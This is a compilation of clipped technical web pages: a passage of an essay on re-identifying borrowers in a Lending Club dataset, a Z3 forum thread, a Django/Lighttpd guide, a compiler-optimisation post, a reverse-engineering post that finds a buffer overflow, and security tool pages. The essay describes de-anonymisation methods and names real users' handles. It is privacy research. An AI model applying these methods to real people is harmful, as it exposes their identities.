websites. Furthermore, these results can be further pruned in an automated way
by looking at the profile information on the page. Here is an example
\(_mjchrissy_\) taken from the Lending Club dataset. By obvserving that the
person in the MySpace profile is in the same geographical location \(NJ\) as
the person in the dataset, we can be reasonably sure that it’s the same
person.

To measure the overall vulnerability, I wrote a script to find the estimated
**Google results count** for each username in the dataset, using Google’s
search API. If there are less than 100 results, I consider the person to be
highly vulnerable to this attack; if there are between 100 and 1,000, they are
moderately vulnerable. The Google count is only an approximate measure. For
example, the estimated count for my standard username \(_randomwalker_\) is in
the tens of thousands, but most of the results in the first few pages relate
to me, and again, this can be confirmed by parsing the profile pages that are
found by the search. Also, the query can be made more specific by using
auxiliary terms such as “user” and “profile.” For example, the username
_radiothermal_ , also from the dataset, appears to be a normal word with tens
of thousands of hits, but with the word “profile” thrown in, we get their
identity right away.

Some users choose their **email address** as their username. This can be
considered as immediately compromising their identity even if there are no
google search results for it. Finally, there are users who use their **real
name** as their screen name. This is harder to measure, but we can get a lower
bound with a clever enough script. \(You can find my script here; I’m quite
proud of it <img src='img/Temp2_4875.gif' alt=':-)' /> \) The table below
summarizes the different types and level of risk. Note that some of the
categories are overlapping; the total number of high-risk records is 1725 and
the total number of medium-risk records is 939.

**Risk type  
**| **Risk level**| **No. of users**  
---|---|---  
result count = 0 | low | 1198   
0 < result count < 100 | high | 1610  
100 <= result count < 1000 | medium | 560  
1000 <= result count | low | 1196   
username is email | high | 51  
either first or last name | medium | 429  
both first and last name | high | 204  
.

**Location and work-related fields**

The combination of  _hometown, current location, employer, previous employer
and education_ \(i.e, college\) should be uniquely identifying for modern
Americans, considering how mobile we are \(except if you live in a rural town
and have never left there\). In fact, any 3 or 4 of those fields will probably
do. As a sanity check, I verified that there are no duplicates on these fields
within the database itself.

Amusingly, there were around 40 duplicates and even a few triplicates, but all
of these turned out to be people re-listing their information in the hope of
increasing their chances of getting funded. Since the dataset consists of only
approved loans, all of these people were approved multiple times\! This is a
great example of how k-anonymity breaks down in a natural way. \[k-anonymity
is an intuitively appealing but fundamentally flawed approach to protecting
privacy that tries to make each record indistinguishable from a few other
records. Here is a technical paper showing that k-anonymity and related
methods such as l-diversity are useless. This is again something that deserves
its own post, and so I won't belabor the point.\]

While I’m sure that auxiliary information exists to de-anonymize people based
on these fields, I’m not sure what’s the easiest way to get it, considering
that It needs to be put together from a variety of different sources.
Companies such as Choicepoint probably have this data in one place already,
but you need a name or social security number to search. Instead, screen-
scraping social network sites would be a good way to start aggregating this
information. Once auxiliary information is available, the re-identification
process is trivial algorithmically.

**The “Associations” field  
**

I love this field, since it is very similar to the **high dimensional data**
in the Netflix paper. Since Lendingclub was launched as a Facebook
application, it appears that they are asking for everyone’s Facebook groups.
Anyone who is familiar with de-anonymizing high-dimensional data would know
that you only need 3-4 items to uniquely identify a person. It gets worse: the
Facebook API allows you to get user’s names and affiliations by searching for
group membership. You can use the affiliations field \(which is a list of
networks you belong to, and is distinct from the group memberships\) to narrow
things down once you get to a few tens or even hundreds of candidate users.
This gives you a person’s identity in the most concrete manner possible: a
Facebook id, name and picture.

How many users are vulnerable? Based on manually analyzing a small sample of
users, it appears that \(roughly\) anyone with three or more groups listed is
vulnerable, so around 300. \(Users with two listed groups may be vulnerable if
they are both not very popular, and users with many groups may not be
vulnerable if they are all popular, but let’s ignore that.\)

<img src='img/Temp2_4876.gif' width='425' height='256' />

Now, automating the de-anonymization is hard, since the group name is
presented as free form text. The field separator \(comma\) that separates
different group names in the same cell appears in the names of groups as
well\! Secondly, the Facebook API doesn’t allow you to search by group name.

I managed to overcome both of these limitations. I wrote a script that
evaluates the context around a comma and determines if it occurs at the
boundary of a group name or in the middle of it. Mapping a group name to a
Facebook group id is a much harder problem. One possible solution is to use a
Google search, and parse the “gid” parameter from the from the url of matching
search results. Example: “Addicted to Taco Bell site:facebook.com.” There are
various hacks that can be used to refine it, such as putting the group name in
quotes or using Google’s “allinurl:” to match the pattern of the Facebook
group page URL’s.

The other strategy, and the one that I pursued, is to use the search feature
on Facebook itself. A higher percentage of searches succeed with this
approach, but it is harder because I needed to parse the HTML that is
returned. With either strategy, the hardest part is in distinguishing between
multiple groups that often have almost identical names. My current strategy
succeeds for about one-third of the groups, and maps the group name to either
a single gid or a short list of candidate gids. I suspect that a combination
of Google and Facebook searches would work best. Of course, using human
intelligence would increase the yield considerably.

The final step here is to get the group members via the Facebook Query
language, find the users who are common to all the listed groups, and use the
affiliations to further prune the set of users. I’ve written the FQL query and
verified that it works. Running it en-masse is a little slow, however, since
the query takes a long time to return. I’ll probably run it when I have some
more free time to analyze the results.

## Let’s summarize

The interesting thing about this dataset is that Lending Club makes it very
clear in their privacy policy that they publish the data in this fashion. And
yet, it seems that intuitively, this is an egregious violation of privacy, no
matter what the privacy policy might say. I will have more to say on this
soon.

Almost everyone in the dataset can be re-identified if their location and work
information is known, although this information is a little hard to gather on
a large scale. The majority of customers are vulnerable to some extent because
of identifying usernames, and more than a third are highly vulnerable. The
privacy policy does state that the username will be shared in conjunction with
other information, but can users really be expected to be aware of how easy it
is to automate re-identification via their username? More importantly, why
publish the username? What were they thinking? And certainly, the possbility
of re-identification via their group associations must come as a complete
surprise to most customers.

In general, what does an attacker need to carry out de-anonymization attacks
of the sort described here? A little ingenuity in looking for auxiliary
information is a must. Being able to write clients for different APIs, and
also screen scraping code is very helpful. Finally, there a number of tasks
involving a little bit of “AI,” such as matching group names, for which there
is no straightforward algorithm but where using different heuristics can get
you very close to an optimal solution.

_Thanks to David Molnar for helping me figure out Facebook’s and Google’s
APIs_.  _Thanks to Vitaly Shmatikov and David Molnar for reading a draft of
this essay._

Entry Filed under: Uncategorized. Tags: anonymity, lending club, privacy,
privacy policy, re-identification.

# Z3 Parallel not running multiple threads - Microsoft Research Community

**Created:**| _5/1/2011 9:50:27 AM_  
---|---  
**Updated:**| _5/1/2011 9:50:27 AM_  
**Author:**| __  
**Tags:**| _research Microsoft SMT_  
  

# 3 Parallel not running multiple threads  
---  
####

<img src='img/Temp2_9998.png' /> rated by 0 users

<img src='img/Temp2_9995.png' /> This post has 3 Replies | 2 Followers 
<img src='img/Temp2_9996.png' />

<img src='img/Temp2_10000.png' alt='Not Ranked' />

Posts 3

<img src='img/Temp2_9999.png' />

Reply

<img src='img/Temp2_9995.png' /> **pablo** Posted: 04-22-2011 10:01 PM

<img src='img/Temp2_9998.png' /> rated by 0 users

Hello there,

I tried to use Z3 for solving an SMT query over bitvectors using the parallel
version of it \(I tried the bin\_mt and x64\_mt versions\) but it didn't
actually made any difference in the time needed to find the solution. So, I
opened Process Explorer and checked that, even when I configured the solver to
use 8 cores \(PAR\_NUM\_THREADS=8\) it didn't actually used more than one of
them at any time and even when I was expecting to find 8 threads \(OS
threads\) in the z3.exe process, there was just one active thread \(3 total,
but the other two were always suspended\).

My complete cmdline was:

C:\\\Program Files \(x86\)\\\Microsoft Research\\\Z3-2.19\\\x64\_mt\\\z3.exe
/smt2 /in /T:600 /memory:1000 MODEL=true PAR\_NUM\_THREADS=8 < test.smt

Also tried using PAR\_SHARING=1 and 2.. just in case :\)

The smt file was a serie of bvxor/extract/etc operations used to calculate the
CRC32 of a 32bits open variable. The test was able to calculate the input
DWORD that generates a concrete CRC32 result in around 50 to 80 seconds,
either using the uni-core version or the multithread one on the latest Z3:
2.19.

Any thoughts?

Thanks\!

pablo.  

<img src='http://community.research.microsoft.com/resized-
image.ashx/__size/80x80/__key/CommunityServer.Components.Avatars/00.00.00.21.84/4TH2V80VDJZH.jpg'
/>

<img src='img/Temp2_9997.png' alt='Top 10 Contributor' />

Posts 132

<img src='img/Temp2_9999.png' />

Reply

<img src='img/Temp2_9995.png' /> **Leonardo de Moura** replied on 04-23-2011
11:37 AM

<img src='img/Temp2_9998.png' /> rated by 0 users

Hi,

The parallel search features are currently not supported in the SMT2 front-
end.

We will fix that in future releases.

Cheers,

Leo  

<img src='img/Temp2_9996.png' />

<img src='img/Temp2_10000.png' alt='Not Ranked' />

Posts 3

<img src='img/Temp2_9999.png' />

Reply

<img src='img/Temp2_9995.png' /> **pablo** replied on 04-25-2011 9:45 AM

<img src='img/Temp2_9998.png' /> rated by 0 users

would it work if I use the C API to construct the formulaes and query from
there?

Thanks,

pablo.  

<img src='http://community.research.microsoft.com/resized-
image.ashx/__size/80x80/__key/CommunityServer.Components.Avatars/00.00.00.21.84/4TH2V80VDJZH.jpg'
/>

<img src='img/Temp2_9997.png' alt='Top 10 Contributor' />

Posts 132

<img src='img/Temp2_9999.png' />

Reply

<img src='img/Temp2_9995.png' /> **Leonardo de Moura** replied on 04-25-2011
9:58 AM

<img src='img/Temp2_9998.png' /> rated by 0 users

Unfortunately, it will not :-\(

Parallel Z3 has not been updated for some time. This is going to change in the
next couple of months.

Cheers,

Leo  

# Stefan Jenkner » Deployment von Django mit Lighttpd

**Created:**| _1/15/2010 3:45:04 PM_  
---|---  
**Updated:**| _1/15/2010 3:45:19 PM_  
**Author:**| __  
**Tags:**| _setup python web programming Django_  
  

## Deployment von Django mit Lighttpd

Dienstag, den 18. November 2008

Auf die Frage, wie man einfach und effektiv Django-Anwendungen in die Welt
setzt, gibt es da und dort gut Anregungen und Tipps. Hier soll nun einmal das
Deployment am schlanken Webserver Lighttpd gezeigt werden. Als Ausgangspunkt
betrachten wir eine kleine Anwendung, die während der Entwicklung meist so
aufgerufen wurde:

[code]

    ./manage.py runserver
    
[/code]

Dabei wird der eingebaute Webserver gestartet, welcher wirklich nur zur
Entwicklung genutzt werden sollte. Da des Öfteren die Pfade im produktiven
System nicht mit denen des Entwicklungs-Systems übereinstimmen, bekommt man
schon die ersten Probleme, denn Pfade müssen immer absolute Pfade angegeben
werden. Es empfiehlt sich also, am Anfang der `settings.py` folgende
Eintragung zu ergänzen.

[code]

    from os import path
    PRJ_DIR = path.abspath(path.dirname(__file__))
    PRJ_NAME = path.basename(PRJ_DIR)
    
[/code]

Wie unschwer zu erkenne ist, trägt `PRJ_DIR` nun das Arbeitsverzeichnis
und`PRJ_NAME` den Namen des Django-Projektes.

Statische Inhalte wie Stylesheets, Grafiken oder JavaScript-Code wurden zuvor
durch`django.views.static.serve()` bereitgestellt. Damit dies nur während der
Entwicklung so ist, sollte man der `urls.py` folgende Zeilen beifügen:

[code]

    from django.conf import settings
    
    if settings.DEBUG:
       urlpatterns += patterns('',
          (r'^static/(?P<path>.*)$', 'django.views.static.serve', {
             'document_root': settings.PRJ_DIR+'/static' }
          ),
       )
    
[/code]

Ist in der `settings.py` das Debugging aktiviert, übernimmt Django auch das
Ausliefern der statische Inhalte. Zudem machen wir uns `PRJ_DIR` zu Nutze, um
den Pfad zu definieren.

Doch nun zum eigentlichen Kern, dem Servieren mit Lighttpd. Folgende Module
werden für unser Beispiel benötigt: `mod_fastcgi`, `mod_rewrite` und optional
auch `mod_compress` zur Kompression statischer Inhalte. Pro Django Instanz
oder Domain empfiehlt sich folgende Konfiguration:

[code]

    $HTTP["host"] =~ "^(www.)?your-domain.com" {
       server.document-root = "/var/www/your-domain.com/root"
       accesslog.filename = "/var/www/your-domain.com/access.log"
    
       fastcgi.server = ( "/django.fcgi" => ( "main" => (
          "socket" => "/var/www/your-domain/django.sock",
          "check-local" => "disable",
          "docroot" => "/",
       ) ) )
    
       alias.url = (
          "/media/" => "/usr/.../contrib/admin/media/",
          "/static/" => "/path/.../prj/static/",
          "/other/" => "/path/.../whatever/",
        )
    
       url.rewrite-once = (
          "^(/django\.fcgi.*)$" => "$1",
          "^(/favicon\.ico)$" => "/static$1",
          "^(/(media|static|other).*)$" => "$1",
          "^(/.*)$" => "/django.fcgi$1",
       )
    }
    
[/code]

Betrachtet man den `url.rewrite-once` Abschnitt vorerst nicht, werden nur
HTTP-Anfrage an `/django.fcgi` von Django bearbeitet. Anfragen an
`/media/`,`/static/` oder `/other/` verweisen direkt auf die Pfade im
Dateisystem. Mit`url.rewrite-once` werden nun die URLs intern umgebogen, bevor
sie von Django behandelt werden\! Überprüfen könnte man das mit folgender
`view`,

[code]

    from django.http import HttpResponse
    
    def debug(request):
       return HttpResponse(request.path+'\n')
    
[/code]

welche wie abgebildet in `urls.py` eingebunden ist:

[code]

    urlpatterns = patterns('',
       (r'^debug/$', 'myprj.myapp.debug'),
    )
    
[/code]

Ein kurzer Versuch bringt zum Vorschein, was Django zu Gesicht bekommt:

[code]

    $ wget -q -O - "http://yourdomain.com/debug/"
    /django.fcgi/debug/
    
[/code]

Ergänzt man in `settings.py` die kaum bekannte Option`FORCE_SCRIPT_NAME=""`
ergibt sich in der Ausgabe: `/debug/`. Das ist wichtig, da Anwendungen wie
`django.contrib.admin` mit `request.path` arbeiten.

Ein Shell-Script zum Starten des FastCGI Prozesses ist hier gelistet.

Abschliessend noch ein Wort zum Thema Bandbreite-sparen. Das bereits
erwähnte`mod_compress` von Lighttpd komprimiert nur statische Inhalte\! Ein
`mod_deflate`ist zwar auf dem Weg, doch momentan ist das Einbinden der
folgende Middleware-Klasse zu bevorzugen:

[code]

    MIDDLEWARE_CLASSES = (
       'django.middleware.gzip.GZipMiddleware',
       ...
    )
    
[/code]

Hiermit werden alle Inhalte ab einer Größe von 200 Byte komprimiert, sofern
vom Browser unterstützt.

# Firekeeper - detect and block malicious sites

**Created:**| _7/2/2009 4:27:43 PM_  
---|---  
**Updated:**| _7/2/2009 4:27:51 PM_  
**Author:**| __  
**Tags:**| _web_  
  

##### Installation

This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation; either version 2 of the License, or \(at your option\) any later
version.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

##### Works with Firefox 1.5.0.0 or newer.

**Important: If you are running Ubuntu 8.04 followthese steps before
installing Firekeeper.**  
Firekeeper 0.3.1 \(alpha release\) for Linux

Firekeeper 0.3.1 \(alpha release\) for Windows

Firekeeper 0.3.1 source

Old releases

# lbrandy.com » Blog Archive » You can’t beat a good compiler… right?

**Created:**| _6/14/2010 11:33:51 AM_  
---|---  
**Updated:**| _6/14/2010 11:33:51 AM_  
**Author:**| _wishi_  
**Tags:**| _compiler-building Exploit_  
  

## You can’t beat a good compiler… right?

Right\! Sort of.

It is extremely well worn conventional wisdom that for your “average”
programmer, it’s pretty much impossible to beat a good optimizing compiler at
writing fast code. For those who skip the “understanding” part, and jump
straight into the “application” part, this rule of thumb tends to be grossly
misunderstood, and misused. For these people, compilers are so smart, and so
good, that micro-optimization is basically impossible \(uh, no\), or too hard
\(no\), or even that they make assembly knowledge unnecessary or obsolete
\(not even close\). This tends to lead to a mentality that optimization can be
left to the compiler and often results in people warning others to not bother
with micro-optimizations at all.

Optimization, today, is largely about writing some naive code, looking at the
assembly output, figuring out what you want to improve on, and then getting
\(or, often, tricking\) the compiler into doing what you want. After several
iterations of this, you end up with the code you want, and you gain all the
benefits of having a compiler in the loop \(portability, future-proofing, and
so on\). This process, though, obviously involves a great deal of low-level
knowledge: assembly, cpu architecture, micro-optimizations that are likely to
work, etc.

As an aside, I have a question: how exactly does one go about learning how to
go beyond standard C into hardcore optimization? For me, it’s been a long road
of trial & error, and random discovery. It seems to me that there is probably
good resources out there for getting started on optimizing code \(let’s say in
gcc\). Know any?

_All the code I used can be found here:http://github.com/lbrandy/simple-
optimization-test \(see signal\_blur.c\). I ran all of these tests on Linux
using gcc 4.3.3 and -O3. UPDATED: I changed the code to use c99’s `restrict`
keyword, instead of gcc’s `__restrict__`_

### Getting yourself into trouble

Here is a naive \(and contrived\) one dimensional filter routine.

[code]

    #define LENGTH 5000
    
    // a bad impersonation of a gaussian filter
    const float filter[] = {0.01f, 0.2f, 0.58f, 0.2f, 0.01f};
    
    void naive(float* in, float* out)
    {
      int i,j;
      for (i=0;i<LENGTH-4;i++)
      {
        out[i]=0.0f;
        for (j = 0;j<5;j++)
          out[i] += filter[j] * in[i+j];
      }
    }
    
[/code]

This is an interesting example because it contains a fatal flaw that might not
be obvious. Take a second to understand what this code is doing. It’s fairly
simple, but critical to the rest of the discussion. Let’s look at the assembly
output of this, built using -O3.

[code]

    08048430 :
     8048430:       55                      push   %ebp
     8048431:       31 c0                   xor    %eax,%eax
     8048433:       89 e5                   mov    %esp,%ebp
     8048435:       8b 4d 08                mov    0x8(%ebp),%ecx
     8048438:       8b 55 0c                mov    0xc(%ebp),%edx
     804843b:       90                      nop
     804843c:       8d 74 26 00             lea    0x0(%esi),%esi
     8048440:       d9 ee                   fldz
     8048442:       d9 14 82                fsts   (%edx,%eax,4)
     8048445:       d9 05 10 89 04 08       flds   0x8048910
     804844b:       d9 04 81                flds   (%ecx,%eax,4)
     804844e:       d8 c9                   fmul   %st(1),%st
     8048450:       de c2                   faddp  %st,%st(2)
     8048452:       d9 c9                   fxch   %st(1)
     8048454:       d9 14 82                fsts   (%edx,%eax,4)
     8048457:       d9 05 14 89 04 08       flds   0x8048914
     804845d:       d9 44 81 04             flds   0x4(%ecx,%eax,4)
     8048461:       d8 c9                   fmul   %st(1),%st
     8048463:       de c2                   faddp  %st,%st(2)
     8048465:       d9 c9                   fxch   %st(1)
     8048467:       d9 14 82                fsts   (%edx,%eax,4)
     804846a:       d9 05 18 89 04 08       flds   0x8048918
     8048470:       d8 4c 81 08             fmuls  0x8(%ecx,%eax,4)
     8048474:       de c1                   faddp  %st,%st(1)
     8048476:       d9 14 82                fsts   (%edx,%eax,4)
     8048479:       d9 44 81 0c             flds   0xc(%ecx,%eax,4)
     804847d:       de ca                   fmulp  %st,%st(2)
     804847f:       de c1                   faddp  %st,%st(1)
     8048481:       d9 14 82                fsts   (%edx,%eax,4)
     8048484:       d9 c9                   fxch   %st(1)
     8048486:       d8 4c 81 10             fmuls  0x10(%ecx,%eax,4)
     804848a:       de c1                   faddp  %st,%st(1)
     804848c:       d9 1c 82                fstps  (%edx,%eax,4)
     804848f:       83 c0 01                add    $0x1,%eax
     8048492:       3d 84 13 00 00          cmp    $0x1384,%eax
     8048497:       75 a7                   jne    8048440 
     8048499:       5d                      pop    %ebp
     804849a:       c3                      ret
     804849b:       90                      nop
     804849c:       8d 74 26 00             lea    0x0(%esi),%esi
    
[/code]

From the assembly, we see that the compiler has done quite a bit \(if you
don’t know assembly, don’t worry, I’ll do my best to explain\). First we see
all of the address calculation involved in loading the filter coefficients has
vanished \(it is loading each one directly, e.g. `flds 0x8048918`\). Second,
notice that the \(fixed sized\) inner loop has been completely unrolled,
resulting in each of the 5 multiplications and additions per iteration. So far
so good.

There is, however, a very alarming surprise is this code. That is the quantity
of store instructions \(also loads\). After every iteration of our inner loop
\(each filter coefficient\), the result is stored. You can see 5 different
store instructions \(`fstps`, `fsts`\) per iteration of this loop. Why? Let’s
have a look at the code again:

[code]

    void naive(float* in, float* out)
    {
      int i,j;
      for (i=0;i<LENGTH-4;i++)
      {
        out[i]=0.0f;
        for (j = 0;j<5;j++)
          out[i] += filter[j] * in[i+j];
      }
    }
    
[/code]

To the inexperienced, it might be bewildering why the optimizing compiler
would generate 5 store instructions for `out[i]=` in the inner loop. Why
wouldn’t it just accumulate the answer in a register, and then store only the
final result? The answer is: aliasing. The problem here is that compiler
cannot assume that the pointers `*in` and `*out` are disjoint. It must store
the result into `out[i]` each iteration because `out[i]` may be `in[i+j]` in
the next iteration of the inner loop. With a bit of thought, it becomes clear
how this code requires these stores to be correct in cases like `*out`
pointing one float ahead of `*in`.

Another hard-learned tidbit: wasteful store instructions are terrible because
stores can be incredibly expensive \(far worse than an extra add or
multiply\).

### Fixing it with restricted pointers

There are several ways to fix this problem, but in the spirit of teaching the
art of optimization, I’ll go with the use of the `__restrict__` qualifier
\(this is a gcc directive, but most compilers have some support for restricted
pointers\). \[note from comments: restricted pointers are part of the C99
standard now using the keyword `restrict`. \]. The only change I made is to
add `__restrict__` to the function declaration:

[code]

    void naive_restrict(float *__restrict__ in, float *__restrict__ out)
    {
      int i,j;
      for (i=0;i<LENGTH-4;i++)
      {
        out[i]=0.0f;
        for (j = 0;j<5;j++)
          out[i] += filter[j] * in[i+j];
      }
    }
    
[/code]

This directive tells the compiler that you, the programmer, promise that `*in`
and `*out` are disjoint, and no aliasing will occur. If you break your
promise, don’t expect your code to be correct. Here is the assembly of that
output:

[code]

    080484a0 :
     80484a0:       55                      push   %ebp
     80484a1:       31 c0                   xor    %eax,%eax
     80484a3:       89 e5                   mov    %esp,%ebp
     80484a5:       8b 55 08                mov    0x8(%ebp),%edx
     80484a8:       8b 4d 0c                mov    0xc(%ebp),%ecx
     80484ab:       90                      nop
     80484ac:       8d 74 26 00             lea    0x0(%esi),%esi
     80484b0:       d9 05 10 89 04 08       flds   0x8048910
     80484b6:       d9 04 82                flds   (%edx,%eax,4)
     80484b9:       d8 c9                   fmul   %st(1),%st
     80484bb:       d8 05 0c 89 04 08       fadds  0x804890c
     80484c1:       d9 05 14 89 04 08       flds   0x8048914
     80484c7:       d9 44 82 04             flds   0x4(%edx,%eax,4)
     80484cb:       d8 c9                   fmul   %st(1),%st
     80484cd:       de c2                   faddp  %st,%st(2)
     80484cf:       d9 05 18 89 04 08       flds   0x8048918
     80484d5:       d8 4c 82 08             fmuls  0x8(%edx,%eax,4)
     80484d9:       de c2                   faddp  %st,%st(2)
     80484db:       d8 4c 82 0c             fmuls  0xc(%edx,%eax,4)
     80484df:       de c1                   faddp  %st,%st(1)
     80484e1:       d9 c9                   fxch   %st(1)
     80484e3:       d8 4c 82 10             fmuls  0x10(%edx,%eax,4)
     80484e7:       de c1                   faddp  %st,%st(1)
     80484e9:       d9 1c 81                fstps  (%ecx,%eax,4)
     80484ec:       83 c0 01                add    $0x1,%eax
     80484ef:       3d 84 13 00 00          cmp    $0x1384,%eax
     80484f4:       75 ba                   jne    80484b0 
     80484f6:       5d                      pop    %ebp
     80484f7:       c3                      ret
     80484f8:       90                      nop
     80484f9:       8d b4 26 00 00 00 00    lea    0x0(%esi),%esi
    
[/code]

Now, you do not have to be an assembly expert to see how much more streamlined
this code is. It consists almost exclusively of loads, multiplies, and adds
with a final store at the end. This does exactly what we’d originally hoped.
It realizes it can keep a temporary running sum and only store once at the
end. We should also note that if you violate the restricted pointer promise,
this code will not be correct\!

It shouldn’t surprise you to see how much faster this version is, either:

[code]

      naive: 0.672957
      naive_restrict: 0.160432
    
[/code]

It’s almost 5 times faster than the non-restricted version.

### Going Forward

Though I haven’t actually done it, my overwhelming suspicion is that this code
still has a ways to go in terms of speed. The next step would be the use of
SSE instructions. Maybe next post.

The take-away from examples like this should be that optimization cannot be
“left” to the optimizing compiler. You have to know what you are doing to get
a compiler to make fast code. And if you really know what you are doing
\(which means knowing assembly and the underlying architecture quite well\),
you can usually get a modern optimizing compiler to do exactly what you want.
You have to be in the loop. Truly optimized C code ends up looking nothing
like C at all.

With careful hand holding, you can get a compiler to make fast code. In that
case, it can become difficult to beat a compiler with hand-optimized code. But
that is not because the compiler is so good, but because you are so good at
getting the compiler to make the code you want.

# Jeremy's Computer Security Blog: Reverse Engineering File Formats

**Created:**| _2/12/2010 11:12:59 AM_  
---|---  
**Updated:**| _2/12/2010 11:13:09 AM_  
**Author:**| __  
**Tags:**| _reversing_  
  

### Reverse Engineering File Formats

The target application parses data from an EDS file format. We have no sample
EDS file, and no idea what the file format looks like. But soon you will see
by blackbox testing and reverse engineering, we can get all the information we
need to correctly produce EDS files and find vulnerabilities.  
  
First off, lets just throw some data into the file test.eds  
  
  
<img src='img/Temp2_4705.png' />  
  
  
load it into the application  
  
  
<img src='img/Temp2_4697.png' />  
  
  
and see how it responds  
  
  
<img src='img/Temp2_4698.png' />  
  
  
From the error message, we can see that it needs the data in \['s  
  
  
<img src='img/Temp2_4706.png' />  
  
  
\*load data\*  
  
  
<img src='img/Temp2_4702.png' />  
  
  
Now we know an EDS file also contains \[Device\] and \[File\] sections  
  
  
<img src='img/Temp2_4701.png' />  
  
  
\*load data\*  
  
  
<img src='img/Temp2_4703.png' />  
  
  
Really, how lucky can we get?  
  
'VendCode', 'ProdType', 'ProdCode', 'MajRev', 'MinRev' are entries for the
\[Device\] section and 'Revision' is an entry under \[File\] section.  
  
So far, using blackbox testing we have discovered lots of information about
the EDS file format. But usually there is even more to discover. Time to
reverse it.  
  
  
  
\----> \[Device\] \(snip\)  
  
  
<img src='img/Temp2_4696.png' />  
  
  
\----> \[File\] \(snip\)  
  
  
<img src='img/Temp2_4699.png' />  
  
  
Looks like there is another entry for the \[File\] section called 'DescText'
and we see how to correctly format it in the EDS file. A closer look reveals a
call to wsprintf\(\) on the 'DescText' entry, which can lead to a buffer
overflow.  
  
So, lets use the format to write the entry  
  
  
<img src='img/Temp2_4708.png' />  
  
  
attach a debugger and see what happens..  
  
  
<img src='img/Temp2_4704.png' />  
  
  
Yeah\!  
  
Hm, we probably didn't expect a unicode buffer overflow...  
  
How did that happen anyways?  
  
  
<img src='img/Temp2_4707.png' />  
  
  
sub\_1000FB50 --> calls sub\_10007160  
sub\_10007160 --> vulnerable function  
  
  
In sub\_1000FB50, we see a call to MultiBytetoWideChar\(\)  
  
  
<img src='img/Temp2_4700.png' />  
  
  
"maps a character string to a wide-character \(Unicode\) string"  
  
Ahh... ;\]  
  
So, in conclusion, we just went from knowing absolutely nothing about the EDS
file format to knowing exactly how to build a valid EDS file, the sections and
entries it parses, and which ones may be vulnerable for attack. Of course most
applications don't reveal that much information in blackbox testing so you
must heavily rely on reversing to figure things out. Interesting example.

# Vulnerability Discovery with Happy/Hardcore Reverse EngineeringVulnerability
Discovery with Happy/Hardcore Reverse Engineering

**Created:**| _12/16/2009 11:50:56 AM_  
---|---  
**Updated:**| _12/16/2009 11:51:12 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification bookmark papers reversing_  
  
<img src='img/Temp2_9019' />

# Covert Buffer Overflow Detector on Linux | TheXploit | Security Blog
**Created:**| _4/13/2011 7:48:04 AM_  
---|---  
**Updated:**| _4/13/2011 7:48:04 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification Linux iDS/iPS_  
  

# Covert Buffer Overflow Detector on Linux

I mentioned in this post that Covert comes with the PACC starter kit which is
a Windows based install. I’ve been having a lot of trouble getting Covert to
work properly as I mentioned in this post and after finally hearing back from
the authors, I decided I’d give Covert a try on Linux. The author mentioned
that Windows 7 is untested.

Unfortunately, running Covert on Linux doesn’t fix any of the issues. Covert
simply doesn’t work properly – the intermediate code generation is broken.
Even more so unfortunate is that Covert isn’t open source and the authors were
not willing to release the source code even if I signed a non-disclosure. I’m
documenting the process of getting Covert to work on Linux simply because it
might be useful to others. This will be my last post on Covert.

#### Installing on Linux

I found out the hard way that you’ll need a 32 bit installation of Linux, the
binaries used in Covert are not compiled for 64 bit. These instructions are
for a fresh install of Ubuntu Linux 10.10 but an equivalent 32 bit Linux
installation will work fine and the instructions should be very easy to
convert.

###### Install Wine

Before you stop reading, no we’re not going to run Covert with Wine, we just
need Wine in order to run the installer to extract the tools.

[code]

    sudo apt-get install wine
    
[/code]

###### Execute the Installer

Unzip the PSK\_2.0.zip file and change the permissions to executable on the
following files

[code]

    chmod + x PSK-installer/Menu.exe
    chmod + x PSK-installer/PSK/setup.exe
    
[/code]

Follow all the prompts of the installer. I installed Java from the installer
but Cygwin didn’t finish for me so I just canceled it. Canceling it didn’t
affect the installation. You should now have the following directory

[code]

    ~/.wine/dosdevices/c:/Program Files/SEI/PSK
    
[/code]

###### Download Eclipse Europa for C/C++ Developers

Covert is built on top of Eclipse 3.3. You can download the Linux release of
Eclipse 3.3 Europa here.

After downloading, extract Eclipse

[code]

    tar xvzf eclipse-cpp-europa-winter-linux-gtk.tar.gz
    
[/code]

###### Copy the Covert Plugins and Features

Navigate to the Wine directory that has Covert installed. Copy the plugins and
features directory from here into your recently extracted Eclipse directory.
Merge, overwrite, and replace all files.

[code]

    cp -R ~/.wine/dosdevices/c:/Program Files/SEI/PSK/plugins eclipse/plugins
    cp -R ~/.wine/dosdevices/c:/Program Files/SEI/PSK/features eclipse/features
    
[/code]

###### Update permissions

Covert relies on a bunch of external programs that get executed by Eclipse. If
the permissions are not executable, Eclipse will throw a permissions error.
Change all of the following files to be executable

[code]

    chmod +x eclipse/plugins/SEI.Copper_2.0.0/copper/SRC/main/copper
    chmod +x eclipse/plugins/SEI.Copper_2.0.0/copper/SRC/PACKAGES/ \
    theorem-prover/simplify
    chmod +x eclipse/plugins/SEI.Copper_2.0.0/copper/SRC/TOOLS/CIL/cilly.covert
    
[/code]

###### Download & Install Required Libraries for Copper

Copper uses an older version of libxerces so you’ll need to install that
before it will work properly. Libxerces depends on libicu38 so you’ll need to
download that as well. Google for the following packages

  * libicu38\_3.8-6ubuntu0.2\_i386.deb
  * libxerces27\_2.7.0-5\_i386.deb

Then install them

[code]

    sudo dpkg -i libicu38_3.8-6ubuntu0.2_i386.deb
    sudo dpkg -i libxerces27_2.7.0-5_i386.deb
    
[/code]

#### Running on Linux

If you’ve followed along with the installation instructions, you can now fire
up Eclipse and switch to the PECT perspective. You can create a new PECT
project and you should now have the Analyze… > Security menu when you right
click on a C source file. Try out your installation on the Security Examples
directory to make sure it’s “working properly”.

formal methods

# MyNav, a python plugin for IDA Pro « Unintended Results

**Created:**| _5/2/2010 4:06:58 PM_  
---|---  
**Updated:**| _5/2/2010 4:07:22 PM_  
**Author:**| __  
**Tags:**| _Debugging python iDA reversing_  
  

## MyNav, a python plugin for IDA Pro

MyNav is an Open Source IDAPython plugin for the commercial disassembler IDA
Pro to be released on July 2010. The plugin adds a lot of new features only
available in other products like in the well knownZynamics BinNavi or HB
Gary’s Inspector. In this blog post I will show you some of the features
available in the current version with some examples.

**Function’s browser**

The navigator is good to get an idea about what a function does as we can see
